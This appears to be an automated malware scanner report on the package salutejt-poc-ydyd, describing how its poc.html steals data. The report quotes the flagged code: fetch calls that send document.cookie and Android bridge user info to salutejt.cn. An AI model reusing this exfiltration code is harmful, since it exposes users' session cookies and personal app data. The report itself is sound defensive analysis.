salutejt-poc-ydyd@1.0.1
static page
AI Security Review
scanned 12d ago · by lpm-firewall-aiThe active HTML entrypoint performs automatic cookie and app information exfiltration to an external host. This is concrete data exfiltration behavior and warrants blocking publication.
Static reason
No blocking static signals were detected.
Trigger
The page is loaded in the app's webview or another browser context where the relevant cookie and Android bridge are available.
Impact
Session cookies and app user information can be disclosed to the external host.
Mechanism
JavaScript reads document.cookie, sends it as a URL parameter, and calls android.getAppUserInfo with a callback that forwards the returned data.
Attack narrative
The page sends document.cookie to salutejt.cn when loaded. It also calls an Android bridge method and forwards the returned user information to the same host. Both transfers are automatic within the page script.
AI rationale
The active HTML entrypoint performs automatic cookie and app information exfiltration to an external host. This is concrete data exfiltration behavior and warrants blocking publication.
Evidence
poc.html
Network endpoints2
salutejt.cn/collectsalutejt.cn/collect2
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The HTML entrypoint reads document.cookie and sends it to salutejt.cn.
- The page invokes an Android app bridge and forwards its callback data to salutejt.cn.
Evidence against
- The manifest defines no install or other lifecycle scripts; the behavior runs when the HTML page is opened.
Behavioral surface
Network
UrlStrings
Source & flagged code
3 flagged · loading sourcepoc.htmlView file
9var loot = document.cookie;
fetch('https://salutejt.cn/collect?c=' + encodeURIComponent(loot)).catch(function(){});
// 附带：本页面还能直接调用 App 注入的 97 个 window.android 桥方法，例如读作者
High
Ai Review Evidence
The HTML entrypoint reads document.cookie and sends it to salutejt.cn.
poc.htmlView on unpkg · L913window.pwn = function (j) {
fetch('https://salutejt.cn/collect2?d=' + encodeURIComponent(j)).catch(function(){});
};
android.getAppUserInfo(JSON.stringify({callback: 'pwn'}));
} catch (e) {}
</script>
</body>
<
High
Ai Review Evidence
The page invokes an Android app bridge and forwards its callback data to salutejt.cn.
poc.htmlView on unpkg · L13package.jsonView file
1{
"name": "salutejt-poc-ydyd",
"version": "1.0.1",
"description": "static page",
"main": "poc.html",
"license": "MIT"
}
High
Ai Review Evidence
The HTML entrypoint reads document.cookie and sends it to salutejt.cn.
Findings
3 High1 Medium1 Low
HighAi Review Evidencepoc.html
HighAi Review Evidencepoc.html
HighAi Review Evidencepackage.json
MediumNetwork
LowUrl Strings
Affected versions and remediation
This report applies to salutejt-poc-ydyd@1.0.1.
See all versions of salutejt-poc-ydyd for other recorded verdicts.
- Avoid installing salutejt-poc-ydyd@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
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